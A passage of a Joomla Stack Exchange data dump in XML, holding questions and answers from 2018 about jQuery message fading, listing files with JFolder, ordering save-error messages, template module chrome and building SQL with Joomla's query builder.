type='text/javascript'&amp;gt;&#xA;$(function() {&#xA;$('div.update_message').hide().fadeIn().delay(3000).fadeOut('slow');&#xA;})&#xA;&amp;lt;/script&amp;gt;&quot;;&#xA;    }; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The message still apears but it doesn't fade out.&lt;/p&gt;&#xA;" OwnerUserId="12400" LastActivityDate="2018-06-15T09:21:08.117" Title="Make div disapear after a while" Tags="|joomla-3.x|php|javascript|jquery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22997" PostTypeId="1" AcceptedAnswerId="23000" CreationDate="2018-06-14T12:05:53.617" Score="6" ViewCount="1754" Body="&lt;p&gt;I would like to simply list some files from my web server and display the file names on the front-end of my website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Sourcerer plugin and created a custom module where I inserted this code to retrieve the files(it's not working, just loads empty):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;$path = 'home/mysite/public_html/tmp/containers/waybills/';&#xA;&#xA;$array = array_map('basename', glob($path . '*.pdf')); &#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9578" LastActivityDate="2018-06-14T16:01:31.093" Title="How to find path and list files in directory?" Tags="|joomla-3.x|php|front-end|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22999" PostTypeId="2" ParentId="12171" CreationDate="2018-06-14T13:22:18.700" Score="-1" Body="&lt;p&gt;Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $image-&amp;gt;getImageBlob();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12622" LastEditorUserId="1520" LastEditDate="2018-06-14T14:50:18.973" LastActivityDate="2018-06-14T14:50:18.973" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23000" PostTypeId="2" ParentId="22997" CreationDate="2018-06-14T16:01:31.093" Score="5" Body="&lt;p&gt;You can utilise Joomla's &lt;code&gt;JFolder&lt;/code&gt; class like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $array = JFolder::files(JPATH_SITE . '/tmp/containers/waybills');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll then of course need to write a &lt;code&gt;foreach&lt;/code&gt; loop, to loop through the array and echo the values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at the &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JFolder.html#method_folders&quot; rel=&quot;noreferrer&quot;&gt;JFolder::files API&lt;/a&gt; which will give you more information on additional function arguments, should you wish to use them&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2018-06-14T16:01:31.093" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23001" PostTypeId="1" AcceptedAnswerId="23004" CreationDate="2018-06-14T19:18:52.050" Score="1" ViewCount="201" Body="&lt;p&gt;I have a custom save function in a class that is extending JModelAdmin.&lt;/p&gt;&#xA;&lt;p&gt;The save function calls several external functions in other helper files.&lt;/p&gt;&#xA;&lt;p&gt;At several points those helper files can indicate that there is an error and do a 'return false' which then causes the save to fail. That is working.&lt;/p&gt;&#xA;&lt;p&gt;When this happens Joomla nicely displays&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;quot;Save failed with the following error: &amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;at the top of the form.&lt;/p&gt;&#xA;&lt;p&gt;What I'm not sure is how to properly get the 'reason' back to the parent save function so that it will display the error notice after that notice.&lt;/p&gt;&#xA;&lt;p&gt;So far the only thing that I've been able to do is within the helper file add the line:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;JFactory::getApplication()-&amp;gt;enqueueMessage(JText::sprintf('Your %s&#xA;file is not the proper format type.',$typeName),'error');&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;right before the&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;return false;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;line within the helper file.&lt;/p&gt;&#xA;&lt;p&gt;The problem is that this is displayed ABOVE the save failure notice, resulting in&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Your image file is not the proper format type.&lt;/p&gt;&#xA;&lt;p&gt;Save failed with the following error:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Which is in the wrong order.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way that I can 'push' the error type back to the calling save function (and back to the base save function) and display my error in the proper order UNDER the 'following error:' message?&lt;/p&gt;&#xA;" OwnerUserId="12624" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2018-06-15T10:58:46.287" Title="Add error reason when overriding save function" Tags="|error-handling|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23002" PostTypeId="2" ParentId="22987" CreationDate="2018-06-15T08:57:20.810" Score="0" Body="&lt;p&gt;Use Tag model.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tagModel = JModelLegacy::getInstance('Tag', 'TagsModel', array('ignore_request' =&amp;gt; true));&#xA;$tagParams = new \Joomla\Registry\Registry();&#xA;$tagModel-&amp;gt;setState('params', $tagParams);&#xA;$tagModel-&amp;gt;setState('tag.id', $item-&amp;gt;id);&#xA;$tagItems = $tagModel-&amp;gt;getItems();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12628" LastActivityDate="2018-06-15T08:57:20.810" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23003" PostTypeId="2" ParentId="22994" CreationDate="2018-06-15T09:21:08.117" Score="1" Body="&lt;p&gt;You're using a jQuery snippet but have you actually loaded the jQuery library?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do do by using: &lt;code&gt;JHtml::_('jquery.framework');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the updated code with some modifications:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$msg = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('msg');&#xA;&#xA;if (isset($msg))&#xA;{&#xA;    echo '&amp;lt;div id=&quot;update_message&quot;&amp;gt;Updated&amp;lt;/div&amp;gt;';&#xA;&#xA;    JHtml::_('jquery.framework');&#xA;    JFactory::getDocument()-&amp;gt;addScriptDeclaration('&#xA;        jQuery(function($) {&#xA;            $('#update_message').delay(3000).fadeOut('slow');&#xA;        });&#xA;    ');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2018-06-15T09:21:08.117" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23004" PostTypeId="2" ParentId="23001" CreationDate="2018-06-15T10:58:46.287" Score="0" Body="&lt;p&gt;The way &lt;code&gt;JFactory::getApplication()-&amp;gt;enqueueMessage()&lt;/code&gt; display the messages in the same sequence it gets it. So &quot;your image...&quot; message was added first and so it shows first. So the short answer is for the errors to line up you should add them in the correct order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two other ways I have found to circumvent this for now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One is to use my own error gathering helper method and then at last bump them into the &lt;code&gt;JFactory::getApplication()-&amp;gt;enqueueMessage()&lt;/code&gt; in the correct order. Here is the code used in the helper class.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;*   The errors&#xA;**/&#xA;protected static $errors = array();&#xA;&#xA;public static function getError($key)&#xA;{&#xA;    if (isset(self::$errors[$key]) &amp;amp;&amp;amp; self::checkArray(self::$errors[$key]))&#xA;    {&#xA;        return '&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;'.implode('&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;', self::$errors[$key]).'&amp;lt;/li&amp;gt;&amp;lt;ul&amp;gt;';&#xA;    }&#xA;    return false;&#xA;}&#xA;&#xA;protected static function setError($key, $errorArray)&#xA;{&#xA;    if (self::checkArray($errorArray))&#xA;    {&#xA;        foreach ($errorArray as $error)&#xA;        {&#xA;            if (!isset(self::$errors[$key]))&#xA;            {&#xA;                self::$errors[$key] = array();&#xA;            }&#xA;            self::$errors[$key][] = $error;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the view you can do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($errors = YourComponentHelper::getError(1))&#xA;{&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage('&amp;lt;h1&amp;gt;Save failed with the following error:&amp;lt;/h1&amp;gt;'.$errors, 'Error');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second option is that your model class has a function to get errors from it, and give it to the current model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in that case you can do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model = YourComponentHelper::getModel('expert', JPATH_COMPONENT_ADMINISTRATOR); // A JCB custom helper method&#xA;if ($model-&amp;gt;save($data))&#xA;{&#xA;    return true;&#xA;}&#xA;$errors = $model-&amp;gt;getErrors();&#xA;if (YourComponentHelper::checkArray($errors)) // also a JCB custom helper method&#xA;{&#xA;    foreach ($errors as $error)&#xA;    {&#xA;        $this-&amp;gt;setError($error);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But again you will have to insure that you load these in the correct order.&lt;/p&gt;&#xA;" OwnerUserId="2166" LastActivityDate="2018-06-15T10:58:46.287" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23005" PostTypeId="1" CreationDate="2018-06-15T12:48:43.570" Score="1" ViewCount="391" Body="&lt;p&gt;I'm modifying the website (I got it the way it is right now, maybe even worse).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm getting the &quot;Uncaught TypeError: jQuery(...) is not a function&quot; on the website, the error appears in ajax function, as you can see on that site: &lt;a href=&quot;http://4tour.pl/bochnia&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://4tour.pl/bochnia&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Joomla 3.8.8, K2 2.8.0 and jQuery Easy plugin 2.2.0 (had a lot of errors because of multiple declarations of jQuery all over the site, scattered all over multiple files, and I have no idea where they are, so I installed that plugin) with jQuery+UI fix, noConflict and Migrate turned on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Order of jQuery modules is: jQuery, migrate, noConflict, jQuery UI (unless I'm blind and can't find a stray declaration somewhere inside the code)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already tried turning off modules of jQuery Easy (noConflict, disable mootools, different versions of migrate, turning on/off 'Fix Document Ready'), replacing 'jQuery.' to '$.' in that particular function but nothing seems to be working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ajax_results577() {    &#xA;        jQuery(&quot;.results_container&quot;).html(&quot;&amp;lt;p&amp;gt;&amp;lt;img src='http://4tour.pl/media/k2/assets/images/system/loader.gif' /&amp;gt;&amp;lt;/p&amp;gt;&quot;);&#xA;&#xA;        var url = &quot;/bochnia/itemlist/filter?format=raw&quot;;&#xA;        var data = jQuery(&quot;#K2FilterBox577 form&quot;).find(&quot;:input&quot;).filter(function () {&#xA;                        return jQuery.trim(this.value).length &amp;gt; 0&#xA;                    }).serialize();&#xA;&#xA;        jQuery.ajax({&#xA;            data: data + &quot;&amp;amp;format=raw&quot;,&#xA;            type: &quot;get&quot;,&#xA;            url: url,&#xA;            success: function(response) {   &amp;lt;-- Error appears here&#xA;                jQuery(&quot;#K2FilterBox577 div.acounter&quot;).hide();&#xA;                jQuery(&quot;.results_container&quot;).html(response);                    &#xA;                jQuery(&quot;html, body&quot;)&#xA;                (jQuery(&quot;.results_container&quot;));&#xA;            }&#xA;        });&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;P.S. To clarify, multiple occurences of the same error are because the little navigation buttons are pulled via Ajax&lt;/p&gt;&#xA;" OwnerUserId="12630" LastActivityDate="2018-06-15T12:48:43.570" Title="jQuery is not a function in ajax function" Tags="|joomla-3.x|jquery|k2|ajax|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23008" PostTypeId="1" AcceptedAnswerId="23010" CreationDate="2018-06-16T19:41:16.480" Score="0" ViewCount="278" Body="&lt;p&gt;In &lt;code&gt;com_content&lt;/code&gt; I can call my fields one by one as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;jcfields[3]-&amp;gt;value; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The same code does not work in &lt;code&gt;com_contacts&lt;/code&gt;.  How can I call the fields in a custom override in &lt;code&gt;com_contacts&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2018-12-14T01:01:20.230" Title="How can you call custom fields in an override for com_contacts" Tags="|overrides|custom-field|contact|com-contacts|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23009" PostTypeId="2" ParentId="20581" CreationDate="2018-06-16T20:19:18.053" Score="2" Body="&lt;p&gt;For Akeeba Admin Tools, the responsible file is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;root joomla install/plugins/system/admintools/admintools/main.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rename that file, access the site as normal, and use the Admin Tools to unblock yourself. Rename the file back to main.php.&lt;/p&gt;&#xA;" OwnerUserId="12632" LastActivityDate="2018-06-16T20:19:18.053" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23010" PostTypeId="2" ParentId="23008" CreationDate="2018-06-16T21:09:05.627" Score="1" Body="&lt;p&gt;You may find this helpful, I did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_custom_fields/Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Adding_custom_fields/Overrides&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has been years, but if you examine your array you will find the proper value of [#]. You can then modify your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this at the bottom of your override to see the contents of the array:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;snippet: &lt;code&gt;echo '&amp;lt;pre&amp;gt;'; print_r($array); echo '&amp;lt;/pre&amp;gt;';&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="12632" LastEditorUserId="12632" LastEditDate="2018-06-16T22:13:54.650" LastActivityDate="2018-06-16T22:13:54.650" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23012" PostTypeId="2" ParentId="22990" CreationDate="2018-06-17T17:10:37.407" Score="0" Body="&lt;p&gt;&lt;strong&gt;index.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Count the modules&#xA;$belowBanner = ($this-&amp;gt;countModules('belowBanner'));&#xA;...&#xA;// if the position below module has modules then output code&#xA;        &amp;lt;?php if ($belowBanner) : ?&amp;gt;&#xA;// my container div gives the width.  Bootstrap requires a div with the class row for each row.  I also add a section.&#xA;            &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                    &amp;lt;section id=&quot;&amp;lt;?php echo &quot;belowBanner&quot; ?&amp;gt;&quot;&amp;gt;&#xA;// insert a module position.  The type is always modules.  Give it a unique name &quot;belowBanner&quot; and give it the default module chrome of &quot;bootstrap4&quot;&#xA;                        &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;belowBanner&quot; style=&quot;bootstrap4&quot; /&amp;gt;&#xA;                    &amp;lt;/section&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endif ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;module.php which is in the folder /html/&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    /**&#xA;     * @package     Joomla.Administrator&#xA;     * @subpackage  Templates.joomla-london&#xA;     *&#xA;     * @copyright   Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved.&#xA;     * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA;     */&#xA;    defined('_JEXEC') or die;&#xA;    /**&#xA;     * This is a file to add template specific chrome to module rendering.  To use it you would&#xA;     * set the style attribute for the given module(s) include in your template to use the style&#xA;     * for each given modChrome function.&#xA;     *&#xA;     * This gives template designers ultimate control over how modules are rendered.&#xA;     *&#xA;     * NOTICE: All chrome wrapping methods should be named: modChrome_{STYLE} and take the same&#xA;     * two arguments.&#xA;     */&#xA;    /*&#xA;     * Module chrome for rendering the module in a belowBanner&#xA;     */&#xA;&#xA;    // make sure you name it correctly.  it always starts modChrome and I have named it bootstrap4 as I will be using that framework.  I could have called it anything, but I thought this was the most meaningful/descriptive name.&#xA;    function modChrome_bootstrap4($module, &amp;amp;$params, &amp;amp;$attribs)&#xA;    {&#xA;    // if the module has content&#xA;        if ($module-&amp;gt;content)&#xA;        {&#xA;            // Get module params&#xA;    // get Bootstrap size and make sure it is returned as an integer&#xA;            $bootstrapSize = (int) $params-&amp;gt;get('bootstrap_size');&#xA;    // if nothing has been selected then just use the class cols&#xA;$cols = &quot;col&quot;;&#xA;&#xA;    // if the bootstrap class is anything except 0 then insert the class cols- and add the bootstrap size class&#xA;            if ($bootstrapSize != '0') {&#xA; $cols = &quot;col-&quot; . $bootstrapSize;}&#xA;&#xA;&#xA;    // If the modules title is set to show... then show it&#xA;            if ($module-&amp;gt;showtitle)&#xA;            {&#xA;                echo '&amp;lt;h2&amp;gt;' .$module-&amp;gt;title .'&amp;lt;/h2&amp;gt;';&#xA;            }&#xA;        ?&amp;gt;&#xA;    // output a div and add the column class to it.  It will either be col or col-x depending on the bootstrap size.  So perhaps col-6 or col-4&#xA;        &amp;lt;div class=&quot;items&amp;lt;?php echo &quot; &quot;. $cols;?&amp;gt; &quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;item&quot;&amp;gt;&#xA;    // output the module content&#xA;                &amp;lt;?php echo $module-&amp;gt;content; ?&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;        }&#xA;    }&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2018-06-18T13:17:30.303" LastActivityDate="2018-06-18T13:17:30.303" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23014" PostTypeId="2" ParentId="17636" CreationDate="2018-06-18T04:59:45.823" Score="0" Body="&lt;p&gt;You can minimize your coding by passing the exact data (json object) that &lt;code&gt;drawPieChart()&lt;/code&gt; is asking for in a single variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In side of your loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// perform sql query that generates the following formatted multi-row resultset:&#xA;$resultset = [&#xA;    [&quot;title&quot; =&amp;gt; &quot;Cash&quot;, &quot;value&quot; =&amp;gt; 40,  &quot;color&quot; =&amp;gt; &quot;#2C3E50&quot;],&#xA;    [&quot;title&quot; =&amp;gt; &quot;Fixed Interest&quot;, &quot;value&quot; =&amp;gt; 8,  &quot;color&quot; =&amp;gt; &quot;#FE4400&quot;],&#xA;    [&quot;title&quot; =&amp;gt; &quot;Property&quot;, &quot;value&quot; =&amp;gt; 24,  &quot;color&quot; =&amp;gt; &quot;#018AB6&quot;],&#xA;    [&quot;title&quot; =&amp;gt; &quot;Australian shares&quot;, &quot;value&quot; =&amp;gt; 16,  &quot;color&quot; =&amp;gt; &quot;#FFF100&quot;],&#xA;    [&quot;title&quot; =&amp;gt; &quot;Intl. shares&quot;, &quot;value&quot; =&amp;gt; 12,  &quot;color&quot; =&amp;gt; &quot;#D7DADB&quot;]&#xA;];&#xA;$json = json_encode($resultset);  // repackage the resultset&#xA;$piechart_id = &quot;piechart1&quot;;    // dynamically generate this value in loop&#xA;$js[] = &quot;$('#{$piechart_id}').drawPieChart({$json})&quot;; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then after your loop is finished iterating, write the multiple &lt;code&gt;drawPieChart()&lt;/code&gt; calls in a single block of code so that you aren't making seperate declarations for each call.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getDocument()-&amp;gt;addScriptDeclaration('&#xA;    jQuery(function($) {&#xA;        ' . implode(&quot;\n&quot;, $js) . '&#xA;    }&#xA;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't tested the above snippets, but the logic should be sound.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-06-18T04:59:45.823" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23015" PostTypeId="2" ParentId="17622" CreationDate="2018-06-18T05:17:40.560" Score="0" Body="&lt;p&gt;You haven't offered any details into the variability of your input strings, so we can only assume the challenges that you may be facing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your sub_string is always on the right side of the value that you wish to isolate, then this will do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://3v4l.org/UTg5u&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$main_string = &quot;23/CSE/4/2014&quot;;&#xA;$sub_string = &quot;/CSE/4/2014&quot;;&#xA;echo str_replace($sub_string, '', $main_string);&#xA;// 23&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the value to be isolated may exist on either side of the sub_string, then this will do the job:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://3v4l.org/QiJss&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$main_string = &quot;23/CSE/4/2014&quot;;  // or &quot;CSE/4/2014/23&quot;&#xA;$sub_string = &quot;CSE/4/2014&quot;;  // notice no leading/trailing slash on this value&#xA;echo trim(str_replace($sub_string, '', $main_string), '/');  // leading/trailing slashes are trimmed&#xA;// 23&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the value to be isolated may be nested inside of the substring's slash delimited values, then you have a more complicated challenge to contend with and a rethink about data formatting may be in order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exploding your main_string and sub_string then making iterated comparisons (or an &lt;code&gt;array_diff()&lt;/code&gt; call) to filter the individual values is going to be heavy-handed and/or potentially damaging.  If the desired value is the same as one of the sub_string slash-delimited values, you will lose what you are trying to find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. Since this question is tagged with &lt;code&gt;mysql&lt;/code&gt; for some reason, I'll offer the MySQL equivalent of my first snippet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sqlfiddle.com/#!9/9eecb/42412&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT REPLACE('23/CSE/4/2014', '/CSE/4/2014', '')&#xA;// 23&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-06-18T05:23:01.013" LastActivityDate="2018-06-18T05:23:01.013" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23017" PostTypeId="2" ParentId="17611" CreationDate="2018-06-18T05:43:46.257" Score="0" Body="&lt;p&gt;Your question is not specifically about Joomla, and it isn't far from how I'd recommend doing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sqlfiddle.com/#!9/76c355c/2&quot; rel=&quot;nofollow noreferrer&quot;&gt;SQL Demo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT SUM(CHAR_LENGTH(csv) - CHAR_LENGTH(REPLACE(csv, ',', '')) + 1) AS num_of_commas&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;CHAR_LENGTH()&lt;/code&gt; is slightly more reliable versus &lt;code&gt;LENGTH()&lt;/code&gt;.  &lt;a href=&quot;https://stackoverflow.com/a/14635320/2943403&quot;&gt;If/When you try to process multi-byte characters with &lt;code&gt;LENGTH()&lt;/code&gt; you will generate incorrect results.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, if you wish to see the raw query translated to a Joomla &lt;code&gt;select()&lt;/code&gt; method call, there isn't much to change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select(&quot;SUM(CHAR_LENGTH(&quot; . $db-&amp;gt;qn(&quot;column_name&quot;) . &quot; - CHAR_LENGTH(REPLACE(&quot; . $db-&amp;gt;qn(&quot;column_name&quot;) . &quot;, ',', '')) + 1) AS MyColumnCounts&quot;)&#xA;            -&amp;gt;from($db-&amp;gt;qn(&quot;table_name&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If your table_name/column_name values do not contain a space, are not MySQL reserved keywords, and are not supplied from untrustworthy sources (user-submitted), then you can safely omit the &lt;code&gt;$db-&amp;gt;qn()&lt;/code&gt; calls.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-06-18T05:43:46.257" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23018" PostTypeId="2" ParentId="17593" CreationDate="2018-06-18T06:11:22.133" Score="0" Body="&lt;p&gt;You can spare yourself a lot of php code bloat by writing a refined sql &lt;code&gt;SELECT&lt;/code&gt; clause with a conditional expression:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT roll_num, IF(attended_no REGEXP '(^|,)3(,|$)', 'Present', 'Absent')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sqlfiddle.com/#!9/f850a7/2&quot; rel=&quot;nofollow noreferrer&quot;&gt;SQL Demo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The regular expression checks that the &lt;code&gt;3&lt;/code&gt; value is never preceded or followed by another number -- so that &lt;code&gt;13&lt;/code&gt; and &lt;code&gt;39&lt;/code&gt; are never falsely matched.  The regex pattern will correctly match if the 3 is the first value, the last value, or the only value in the comma separated string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does the regular expression mean?  I'm glad you asked...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(    #start of capture group 1&#xA;^    #match the start position of the input string&#xA;|    #or&#xA;,    #match a comma&#xA;)    #end of capture group 1&#xA;3    #match the literal digit 3&#xA;(    #start of capture group 2&#xA;,    #match a comma&#xA;|    #or&#xA;$    #match the end position of the input string&#xA;)    #end of capture group 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you want to understand what a pattern is doing or you wish to test some fringe scenarios, &lt;a href=&quot;https://regex101.com/r/ENTA36/1&quot; rel=&quot;nofollow noreferrer&quot;&gt;feed it to regex101.com and upskill yourself&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-06-18T06:11:22.133" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23019" PostTypeId="2" ParentId="14964" CreationDate="2018-06-18T06:58:12.260" Score="0" Body="&lt;p&gt;Here is the Joomla method-based version of your working mysql:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select(&#xA;                array(&#xA;                    &quot;A.id&quot;,&#xA;                    &quot;A.name&quot;,&#xA;                    &quot;GROUP_CONCAT(DISTINCT B.category_id) category_ids&quot;,&#xA;                    &quot;GROUP_CONCAT(DISTINCT C.title) categories&quot;&#xA;                )&#xA;            )&#xA;            -&amp;gt;from(&quot;db_ext_resources A&quot;)&#xA;            -&amp;gt;leftJoin(&quot;db_ext_resources_categories B ON A.id = B.resource_id&quot;)&#xA;            -&amp;gt;leftJoin(&quot;db_categories C ON B.category_id = C.id&quot;)&#xA;            -&amp;gt;where(&quot;A.id = 192&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using an array in the &lt;code&gt;select()&lt;/code&gt; call to minimize code &quot;width&quot;.  I 